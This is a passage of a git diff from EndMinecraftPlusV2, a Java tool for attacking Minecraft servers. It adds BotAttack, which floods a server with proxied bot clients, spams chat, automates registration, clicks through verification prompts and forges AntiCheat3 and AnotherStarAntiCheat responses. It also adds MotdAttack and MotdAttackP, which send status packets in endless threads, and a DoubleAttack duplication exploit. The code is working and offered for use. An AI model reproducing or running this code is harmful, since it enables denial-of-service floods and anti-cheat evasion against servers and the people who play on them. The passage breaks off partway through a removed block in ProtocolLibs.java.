(VersionSupport759.checkServerChatPacket(recvPacket)) { + List result = VersionSupport759.clickVerifiesHandle(recvPacket, session, ConfigUtil.ClickVerifiesDetect, null); + + if (result.get(0).equals("1")) { + LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + result.get(2), "BotAttack"); + clickVerifies++; + } else if (!result.get(1).equals("")) { + LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get(1), "BotAttack"); + } + + if (!alivePlayers.contains(username)) { + alivePlayers.add(username); + } + } else if (VersionSupport758.checkServerChatPacket(recvPacket)) { + List result = VersionSupport758.clickVerifiesHandle(recvPacket, session, ConfigUtil.ClickVerifiesDetect, null); + + if (result.get(0).equals("1")) { + LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + result.get(2), "BotAttack"); + clickVerifies++; + } else if (!result.get(1).equals("")) { + LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get(1), "BotAttack"); + } + + if (!alivePlayers.contains(username)) { + alivePlayers.add(username); + } + } + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForge.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForge.java index 8afdf80..5571976 100644 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForge.java +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForge.java @@ -5,6 +5,7 @@ import com.github.steveice10.mc.protocol.packet.ingame.client.ClientPluginMessag import com.github.steveice10.mc.protocol.packet.ingame.server.ServerPluginMessagePacket; import com.github.steveice10.packetlib.Session; import com.github.steveice10.packetlib.event.session.*; +import com.github.steveice10.packetlib.packet.Packet; import java.lang.reflect.Field; import java.util.Map; @@ -32,10 +33,22 @@ public class MCForge { } } + public void packetReceived(Session session, Packet packet) { + + } + public void packetSending(PacketSendingEvent packetSendingEvent) { } + public void packetSent(Session session, Packet packet) { + + } + + public void packetError(PacketErrorEvent packetErrorEvent) { + + } + public void packetSent(PacketSentEvent e) { } @@ -85,7 +98,7 @@ public class MCForge { } public static boolean isAfterVersion1_13() { - return (getProtocolVersion() >= 393); + return ((getProtocolVersion() >= 393 || getProtocolVersion() == -1)); } public static int getProtocolVersion() { @@ -100,14 +113,7 @@ public class MCForge { Field field = cls.getDeclaredField("PROTOCOL_VERSION"); return field.getInt(null); } catch (Exception e) { - LogUtil.doLog(1, "检测Minecraft协议版本时发生错误!", null); - LogUtil.doLog(0, "=========================================================", "ForgeSupport"); - LogUtil.doLog(0, " 如果你不知道这是什么,请查阅", "ForgeSupport"); - LogUtil.doLog(0, " https://minecraft.fandom.com/zh/wiki/协议版本?variant=zh", "ForgeSupport"); - LogUtil.doLog(0, "=========================================================", "ForgeSupport"); - LogUtil.doLog(-1, "请手动输入协议版本: ", "ForgeSupport"); - Scanner scanner = new Scanner(System.in); - return Integer.parseInt(scanner.nextLine()); + return -1; } } } diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/BotAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/BotAttack.java new file mode 100644 index 0000000..d523076 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/BotAttack.java @@ -0,0 +1,374 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils; + +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ACProtocol.AnotherStarAntiCheat; +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ACProtocol.AntiCheat3; +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.AttackManager; +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol.MCForge; +import cn.serendipityr.EndMinecraftPlusV2.Tools.*; +import io.netty.util.internal.ConcurrentSet; +import org.spacehq.mc.protocol.MinecraftProtocol; +import org.spacehq.mc.protocol.data.message.Message; +import org.spacehq.mc.protocol.packet.ingame.client.ClientChatPacket; +import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket; +import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerMovementPacket; +import org.spacehq.mc.protocol.packet.ingame.server.ServerChatPacket; +import org.spacehq.mc.protocol.packet.ingame.server.ServerJoinGamePacket; +import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket; +import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket; +import org.spacehq.packetlib.Client; +import org.spacehq.packetlib.Session; +import org.spacehq.packetlib.event.session.*; +import org.spacehq.packetlib.packet.Packet; +import org.spacehq.packetlib.tcp.TcpSessionFactory; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.net.Proxy; +import java.net.Socket; +import java.util.*; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; + +public class BotAttack extends IAttack { + public static HashMap clientName = new HashMap<>(); + public static int failed = 0; + public static int joined = 0; + public static int rejoin = 0; + public static int clickVerifies = 0; + public static List alivePlayers = new ArrayList<>(); + protected boolean attack_motdbefore; + protected boolean attack_tab; + protected Map modList; + + private Thread mainThread; + private Thread tabThread; + private Thread taskThread; + + public Set clients = new ConcurrentSet<>(); + public ExecutorService pool = Executors.newCachedThreadPool(); + + private static final AntiCheat3 ac3 = new AntiCheat3(); + private static final AnotherStarAntiCheat asac = new AnotherStarAntiCheat(); + + private long starttime; + + public BotAttack(String ip, int port, int time, int maxconnect, long joinsleep) { + super(ip, port, time, maxconnect, joinsleep); + } + + public void setBotConfig(boolean motdbefore, boolean tab, Map modList) { + this.attack_motdbefore = motdbefore; + this.attack_tab = tab; + this.modList = modList; + } + + public String getRandMessage(String userName) { + return ConfigUtil.CustomChat.get(new Random().nextInt(ConfigUtil.CustomChat.size())).replace("$rnd",OtherUtils.getRandomString(4,6).replace("$pwd",DataUtil.botRegPasswordsMap.get(userName))); + } + + public void start() { + setTask(() -> { + while (true) { + for (Client c : clients) { + if (c.getSession().isConnected()) { + if (c.getSession().hasFlag("login")) { + if (ConfigUtil.ChatSpam) { + c.getSession().send(new ClientChatPacket(getRandMessage(clientName.get(c)))); + } + + OtherUtils.doSleep(ConfigUtil.ChatDelay); + } else if (c.getSession().hasFlag("join")) { + if (ConfigUtil.RegisterAndLogin) { + for (String cmd:ConfigUtil.RegisterCommands) { + c.getSession().send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c))))); + OtherUtils.doSleep(ConfigUtil.ChatDelay); + } + } + + c.getSession().setFlag("login", true); + } + } + } + OtherUtils.doSleep(5 * 1000); + } + }); + + this.starttime = System.currentTimeMillis(); + + mainThread = new Thread(() -> { + while (true) { + try { + cleanClients(); + createClients(ip, port); + OtherUtils.doSleep(10 * 1000); + + if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) { + for (Client c : clients) { + c.getSession().disconnect(""); + } + stop(); + return; + } + LogUtil.doLog(0, "当前连接数: " + clients.size() + "个", "BotAttack"); + } catch (Exception e) { + LogUtil.doLog(1, "发生错误: " + e, null); + } + } + }); + + if (this.attack_tab) { + tabThread = new Thread(() -> { + while (true) { + SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin); + + for (Client c : clients) { + if (c.getSession().isConnected() && c.getSession().hasFlag("join")) { + MultiVersionPacket.sendTabPacket(c.getSession(), "/"); + } + } + + OtherUtils.doSleep(10); + } + }); + } + + mainThread.start(); + if (tabThread != null) + tabThread.start(); + if (taskThread != null) + taskThread.start(); + } + + @SuppressWarnings("deprecation") + public void stop() { + mainThread.stop(); + if (tabThread != null) + tabThread.stop(); + if (taskThread != null) + taskThread.stop(); + } + + public void setTask(Runnable task) { + taskThread = new Thread(task); + } + + private void cleanClients() { + clients.removeIf(c -> !c.getSession().isConnected()); + } + + private void createClients(final String ip, int port) { + Proxy.Type proxyType; + switch (ConfigUtil.ProxyType) { + case 3: + case 2: + proxyType = Proxy.Type.SOCKS; + break; + case 1: + default: + proxyType = Proxy.Type.HTTP; + break; + } + + for (String p: ProxyUtil.proxies) { + try { + String[] _p = p.split(":"); + Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); + String[] User = AttackManager.getRandomUser().split("@"); + Client client = createClient(ip, port, User[0], proxy); + client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectDelay)); + client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectDelay)); + clientName.put(client, User[0]); + clients.add(client); + ProxyUtil.clientsProxy.put(client.getSession(), proxy); + + if (this.attack_motdbefore) { + pool.submit(() -> { + getMotd(proxy, ip, port); + client.getSession().connect(false); + }); + } else { + client.getSession().connect(false); + } + + if (this.attack_maxconnect > 0 && (clients.size() > this.attack_maxconnect)) + return; + if (this.attack_joinsleep > 0) + OtherUtils.doSleep(attack_joinsleep); + } catch (Exception e) { + LogUtil.doLog(1, "发生错误: " + e, null); + } + } + } + + public Client createClient(final String ip, int port, final String username, Proxy proxy) { + Client client = new Client(ip, port, new MinecraftProtocol(username), new TcpSessionFactory(proxy)); + new MCForge(client.getSession(), this.modList).init(); + + client.getSession().addListener(new SessionListener() { + public void packetReceived(PacketReceivedEvent e) { + handlePacket(e.getSession(), e.getPacket(), username); + } + + public void packetSent(PacketSentEvent e) { + } + + public void connected(ConnectedEvent e) { + } + + public void disconnecting(DisconnectingEvent e) { + } + + public void disconnected(DisconnectedEvent e) { + String msg; + + if (e.getCause() == null) { + msg = e.getReason(); + LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack"); + + if (ConfigUtil.SaveWorkingProxy) { + ProxyUtil.saveWorkingProxy(proxy); + } + + for (String rejoinDetect:ConfigUtil.RejoinDetect) { + if (msg.contains(rejoinDetect)) { + for (int i = 0; i < ConfigUtil.RejoinCount; i++) { + Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy); + rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay)); + rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay)); + + rejoin++; + LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack"); + clientName.put(rejoinClient, username); + clients.add(rejoinClient); + rejoinClient.getSession().connect(false); + + OtherUtils.doSleep(ConfigUtil.RejoinDelay); + + if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) { + break; + } + } + } + } + } else if (ConfigUtil.ShowFails) { + msg = e.getCause().getMessage(); + LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack"); + } + + failed++; + alivePlayers.remove(username); + + client.getSession().disconnect(""); + clients.remove(client); + } + }); + return client; + } + + public void getMotd(Proxy proxy, String ip, int port) { + try { + Socket socket = new Socket(proxy); + socket.connect(new InetSocketAddress(ip, port)); + if (socket.isConnected()) { + OutputStream out = socket.getOutputStream(); + InputStream in = socket.getInputStream(); + out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01}); + out.write(new byte[]{0x01, 0x00}); + out.flush(); + in.read(); + + try { + in.close(); + out.close(); + socket.close(); + } catch (Exception ignored) {} + + return; + } + socket.close(); + } catch (Exception ignored) {} + } + + protected void handlePacket(Session session, Packet recvPacket, String username) { + if (recvPacket instanceof ServerPluginMessagePacket) { + ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket; + switch (packet.getChannel()) { + case "AntiCheat3.4.3": + String code = ac3.uncompress(packet.getData()); + byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code, + new String[]{"44f6bc86a41fa0555784c255e3174260"}); + session.send(new ClientPluginMessagePacket("AntiCheat3.4.3", checkData)); + break; + case "anotherstaranticheat": + String salt = asac.decodeSPacket(packet.getData()); + byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt); + session.send(new ClientPluginMessagePacket("anotherstaranticheat", data)); + break; + case "VexView": + if (new String(packet.getData()).equals("GET:Verification")) + session.send(new ClientPluginMessagePacket("VexView", "Verification:1.8.10".getBytes())); + break; + default: + } + } else if (recvPacket instanceof ServerJoinGamePacket) { + session.setFlag("join", true); + LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack"); + joined++; + + if (ConfigUtil.SaveWorkingProxy) { + ProxyUtil.saveWorkingProxy(ProxyUtil.clientsProxy.get(session)); + } + + if (!alivePlayers.contains(username)) { + alivePlayers.add(username); + } + + MultiVersionPacket.sendClientSettingPacket(session, "zh_CN"); + MultiVersionPacket.sendClientPlayerChangeHeldItemPacket(session, 1); + } else if (recvPacket instanceof ServerPlayerPositionRotationPacket) { + try { + ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket; + MultiVersionPacket.sendPosPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw()); + session.send(new ClientPlayerMovementPacket(true)); + MultiVersionPacket.sendClientTeleportConfirmPacket(session, packet); + } catch (Exception ignored) {} + + } else if (recvPacket instanceof ServerChatPacket) { + ServerChatPacket chatPacket = (ServerChatPacket) recvPacket; + clickVerifiesHandle(chatPacket.getMessage(), session, username); + } + } + + public static void clickVerifiesHandle(Message message, Session session, String username) { + boolean needClick = false; + + if (message.getStyle().getClickEvent() != null) { + for (String clickVerifiesDetect:ConfigUtil.ClickVerifiesDetect) { + if (message.getText().contains(clickVerifiesDetect)) { + needClick = true; + break; + } + } + } + + if (needClick) { + LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + message.getStyle().getClickEvent().getValue(), "BotAttack"); + session.send(new ClientChatPacket(message.getStyle().getClickEvent().getValue())); + clickVerifies++; + } else { + if (!message.getText().equals("")) { + LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message, "BotAttack"); + } + + if (!alivePlayers.contains(username)) { + alivePlayers.add(username); + } + } + + if (message.getExtra() != null && !message.getExtra().isEmpty()) { + for (Message extraMessage:message.getExtra()) { + clickVerifiesHandle(extraMessage, session, username); + } + } + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/DoubleAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/DoubleAttack.java new file mode 100644 index 0000000..6fa007f --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/DoubleAttack.java @@ -0,0 +1,37 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils; + +import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle; +import org.spacehq.mc.protocol.packet.ingame.server.ServerJoinGamePacket; +import org.spacehq.packetlib.Client; +import org.spacehq.packetlib.Session; +import org.spacehq.packetlib.packet.Packet; + +import java.net.Proxy; + +public class DoubleAttack extends BotAttack { + private String username; + private Integer totalTimes = 0; + private Integer runTimes = 0; + + public DoubleAttack(String ip, int port, int time, int maxconnect, long joinsleep) { + super(ip, port, time, maxconnect, joinsleep); + } + + public void setUsername(String username) { + this.username = username; + } + + public Client createClient(String ip, int port, String username, Proxy proxy) { + totalTimes++; + return super.createClient(ip, port, this.username, proxy); + } + + protected void handlePacket(Session session, Packet recvPacket, String username) { + super.handlePacket(session, recvPacket, username); + if (recvPacket instanceof ServerJoinGamePacket) { + session.disconnect("Double Exploit - Connection Reset!"); + runTimes++; + SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - DoubleAttack | 总连接数: " + totalTimes + "次 | 尝试分身: " + runTimes + "次"); + } + } +} \ No newline at end of file diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/IAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/IAttack.java new file mode 100644 index 0000000..a16f51b --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/IAttack.java @@ -0,0 +1,22 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils; + +public abstract class IAttack { + public String ip; + public int port; + + public int attack_time; + public int attack_maxconnect; + public long attack_joinsleep; + + public IAttack(String ip, int port, int time, int maxconnect, long joinsleep) { + this.ip = ip; + this.port = port; + this.attack_time = time; + this.attack_maxconnect = maxconnect; + this.attack_joinsleep = joinsleep; + } + + public abstract void start(); + + public abstract void stop(); +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/MotdAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/MotdAttack.java new file mode 100644 index 0000000..0cee021 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/MotdAttack.java @@ -0,0 +1,73 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils; + +import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil; +import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils; +import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle; + +import java.io.IOException; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.util.ArrayList; +import java.util.List; + +public class MotdAttack extends IAttack { + public List threads = new ArrayList<>(); + private int runTimes = 0; + private int errorTimes = 0; + public MotdAttack(String ip, int port, int time, int maxconnect, long joinsleep) { + super(ip, port, time, maxconnect, joinsleep); + } + + public void start() { + Runnable task = () -> { + while (true) { + try { + Socket socket = new Socket(); + socket.connect(new InetSocketAddress(ip, port)); + if (socket.isConnected()) { + LogUtil.doLog(0, "正在发送Motd更新数据包...", "MotdAttack#" + Thread.currentThread().getName()); + OutputStream out = socket.getOutputStream(); + out.write(new byte[] { 0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01 }); + out.flush(); + while (socket.isConnected()) { + for (int i = 0; i < 10; i++) { + SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 总连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 错误次数: " + errorTimes); + out.write(new byte[] { 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, + 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00 }); + runTimes++; + } + out.flush(); + } + try { + out.close(); + socket.close(); + } catch (IOException ignored) {} + LogUtil.doLog(0, "连接已断开。", "MotdAttack#" + Thread.currentThread().getName()); + OtherUtils.doSleep(attack_joinsleep); + } + } catch (Throwable e) { + LogUtil.doLog(0, "发生错误: " + e, "MotdAttack#" + Thread.currentThread().getName()); + errorTimes++; + } + } + }; + + if (this.attack_maxconnect < 1) { + this.attack_maxconnect = 10; + } + + for (int i = 0; i < this.attack_maxconnect; i++) { + Thread thread = new Thread(task); + thread.setName(String.valueOf(i + 1)); + thread.start(); + threads.add(thread); + } + } + + @SuppressWarnings("deprecation") + public void stop() { + threads.forEach(Thread::stop); + } + +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/MotdAttackP.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/MotdAttackP.java new file mode 100644 index 0000000..ce02e21 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/MotdAttackP.java @@ -0,0 +1,93 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils; + +import cn.serendipityr.EndMinecraftPlusV2.Tools.*; + +import java.io.IOException; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.net.Proxy; +import java.net.Socket; +import java.util.ArrayList; +import java.util.List; + +public class MotdAttackP extends IAttack { + public List threads = new ArrayList<>(); + private int runTimes = 0; + private int errorTimes = 0; + + public MotdAttackP(String ip, int port, int time, int maxconnect, long joinsleep) { + super(ip, port, time, maxconnect, joinsleep); + } + + public void start() { + Proxy.Type proxyType; + switch (ConfigUtil.ProxyType) { + case 3: + case 2: + proxyType = Proxy.Type.SOCKS; + break; + case 1: + default: + proxyType = Proxy.Type.HTTP; + break; + } + + for (String p: ProxyUtil.proxies) { + try { + String[] _p = p.split(":"); + Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); + Thread thread = createThread(proxy, ip, port); + thread.start(); + threads.add(thread); + if (this.attack_maxconnect > 0 && (threads.size() > this.attack_maxconnect)) + return; + } catch (Exception e) { + LogUtil.doLog(1,"发生错误: " + e, null); + } + } + } + + @SuppressWarnings("deprecation") + public void stop() { + threads.forEach(Thread::stop); + } + + public Thread createThread(Proxy proxy, String ip, int port) { + Runnable task = () -> { + while (true) { + try { + Socket socket = new Socket(proxy); + socket.connect(new InetSocketAddress(ip, port)); + if (socket.isConnected()) { + LogUtil.doLog(0, "正在发送Motd刷新数据包...", "MotdAttackP#" + Thread.currentThread().getName()); + OutputStream out = socket.getOutputStream(); + out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01}); + out.flush(); + while (socket.isConnected()) { + for (int i = 0; i < 10; i++) { + SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 总连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 错误次数: " + errorTimes); + out.write(new byte[]{0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, + 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00}); + runTimes++; + } + out.flush(); + } + try { + out.close(); + socket.close(); + } catch (IOException ignored) { + } + + LogUtil.doLog(0, "连接已断开。", "MotdAttackP#" + Thread.currentThread().getName()); + } + } catch (Throwable e) { + LogUtil.doLog(0, "发生错误: " + e, "MotdAttackP#" + Thread.currentThread().getName()); + errorTimes++; + } + + OtherUtils.doSleep(attack_joinsleep); + } + }; + return new Thread(task); + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/MultiVersionPacket.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/MultiVersionPacket.java new file mode 100644 index 0000000..a97afe7 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/MultiVersionPacket.java @@ -0,0 +1,94 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils; + +import org.spacehq.mc.protocol.packet.ingame.client.ClientSettingsPacket; +import org.spacehq.mc.protocol.packet.ingame.client.ClientTabCompletePacket; +import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerPositionRotationPacket; +import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket; +import org.spacehq.packetlib.Session; +import org.spacehq.packetlib.packet.Packet; + +import java.lang.reflect.Array; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; + +public class MultiVersionPacket { + public static void sendTabPacket(Session session, String text) { + try { + Class cls = ClientTabCompletePacket.class; + Constructor constructor = cls.getDeclaredConstructor(); + constructor.setAccessible(true); + ClientTabCompletePacket packet = (ClientTabCompletePacket) constructor.newInstance(); + Field field = cls.getDeclaredField("text"); + field.setAccessible(true); + field.set(packet, text); + session.send(packet); + } catch (Exception ignored) {} + } + + public static void sendPosPacket(Session session, double x, double y, double z, float yaw, float pitch) { + try { + Class cls = ClientPlayerPositionRotationPacket.class; + Constructor constructor; + ClientPlayerPositionRotationPacket packet; + try { + constructor = cls.getConstructor(boolean.class, double.class, double.class, double.class, float.class, float.class); + packet = (ClientPlayerPositionRotationPacket) constructor.newInstance(true, x, y, z, yaw, pitch); + } catch (NoSuchMethodException ex) { + constructor = cls.getConstructor(boolean.class, double.class, double.class, double.class, double.class, float.class, float.class); + packet = (ClientPlayerPositionRotationPacket) constructor.newInstance(true, x, y - 1.62, y , z, yaw, pitch); + } + session.send(packet); + } catch (Exception ignored) {} + } + + public static void sendClientSettingPacket(Session session, String locale) { + try { + Class cls = ClientSettingsPacket.class; + Constructor constructor; + ClientSettingsPacket packet; + try { + Class parm1Class = Class.forName("org.spacehq.mc.protocol.data.game.setting.ChatVisibility"); + Class parm2Class = Class.forName("[Lorg.spacehq.mc.protocol.data.game.setting.SkinPart;"); + Class parm3Class = Class.forName("org.spacehq.mc.protocol.data.game.entity.player.Hand"); + + Class skinClass = Class.forName("org.spacehq.mc.protocol.data.game.setting.SkinPart"); + Object[] arrSkin = (Object[]) Array.newInstance(skinClass, 1); + Array.set(arrSkin, 0, skinClass.getEnumConstants()[0]); + + constructor = cls.getConstructor(String.class, int.class, parm1Class, boolean.class, parm2Class, parm3Class); + packet = (ClientSettingsPacket) constructor.newInstance(locale, 10, parm1Class.getEnumConstants()[0], true, arrSkin, parm3Class.getEnumConstants()[0]); + } catch (NoSuchMethodException ex) { + Class parm1Class = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.ClientSettingsPacket.ChatVisibility"); + Class parm2Class = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.ClientSettingsPacket.Difficulty"); + + constructor = cls.getConstructor(String.class, int.class, parm1Class, boolean.class, parm2Class, boolean.class); + packet = (ClientSettingsPacket) constructor.newInstance(locale, 10, parm1Class.getEnumConstants()[0], true, parm2Class.getEnumConstants()[0], true); + } + session.send(packet); + } catch (Exception ignored) {} + } + + public static void sendClientPlayerChangeHeldItemPacket(Session session, int slot) { + try { + Class cls = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerChangeHeldItemPacket"); + Constructor constructor = cls.getConstructor(int.class); + Packet packet = (Packet) constructor.newInstance(slot); + session.send(packet); + } catch (Exception ignored) {} + } + + public static void sendClientTeleportConfirmPacket(Session session, int id) { + try { + Class cls = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.world.ClientTeleportConfirmPacket"); + Constructor constructor = cls.getConstructor(int.class); + Packet packet = (Packet) constructor.newInstance(id); + session.send(packet); + } catch (Exception ignored) {} + } + + public static void sendClientTeleportConfirmPacket(Session session, ServerPlayerPositionRotationPacket packet) { + try { + sendClientTeleportConfirmPacket(session, (int) ServerPlayerPositionRotationPacket.class.getMethod("getTeleportId").invoke(packet)); + } catch (Exception ignored) {} + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/ProtocolLibs.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/ProtocolLibs.java index f182fd9..013dd10 100644 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/ProtocolLibs.java +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/ProtocolLibs.java @@ -2,15 +2,41 @@ package cn.serendipityr.EndMinecraftPlusV2.VersionControl; import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil; import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils; +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge; +import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundChatPacket; import java.io.File; import java.util.*; public class ProtocolLibs { public static boolean highVersion = false; + public static boolean adaptAfter578 = false; + public static boolean adaptAfter754 = false; + public static boolean adaptAfter758 = false; + public static boolean adaptAfter759 = false; + public static boolean adaptAfter760 = false; public static void loadProtocolLib() { LogUtil.doLog(0, "==========================================================", "ProtocolLib"); choseProtocolVer(scanProtocolLibs(), scanSupportLibs()); + + int currentVersion = MCForge.getProtocolVersion(); + + if (currentVersion > 498 || currentVersion == -1) { + adaptAfter578 = true; + } + + if (currentVersion > 578 || currentVersion == -1) { + adaptAfter754 = true; + } + + if (currentVersion == -1) { + adaptAfter758 = true; + } + + try { + Class.forName("com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundSystemChatPacket"); + adaptAfter759 = true; + } catch (ClassNotFoundException ignored) {} } public static List scanProtocolLibs() { @@ -51,8 +77,6 @@ public class ProtocolLibs { } public static void choseProtocolVer(List versionLibs, List supportLibs) { - int dependency = -1; - for (int i = 0; i < versionLibs.size(); i++) { String filename = versionLibs.get(i).getName(); StringBuilder info = new StringBuilder(); @@ -66,14 +90,6 @@ public class ProtocolLibs { LogUtil.doLog(0, info.toString(), "ProtocolLib"); } - for (int i = 0; i < supportLibs.size(); i++) { - String filename = supportLibs.get(i).getName(); - - if (filename.contains("Dependency")) { - dependency = i; - } - } - LogUtil.doLog(-1, "请选择一个Minecraft协议库版本: ", "ProtocolLib"); try { @@ -83,22 +99,10 @@ public class ProtocolLibs { if (versionLib.getName().contains("MCP")) { highVersion = true; + } - if (dependency == -1) { - LogUtil.emptyLog(); - LogUtil.doLog(1, "加载Minecraft协议库时发生错误!", null); - LogUtil.doLog(0, "=========================错误排除=========================", "ProtocolLib"); - LogUtil.doLog(0, " 你选择了高于1.13.2的版本,但缺少必要支持库,", "ProtocolLib"); - LogUtil.doLog(0, " 请检查[libs]文件夹中,下列文件是否存在: ", "ProtocolLib"); - LogUtil.doLog(0, " (Dependency.jar)", "ProtocolLib"); - LogUtil.doLog(0, "==========================================================", 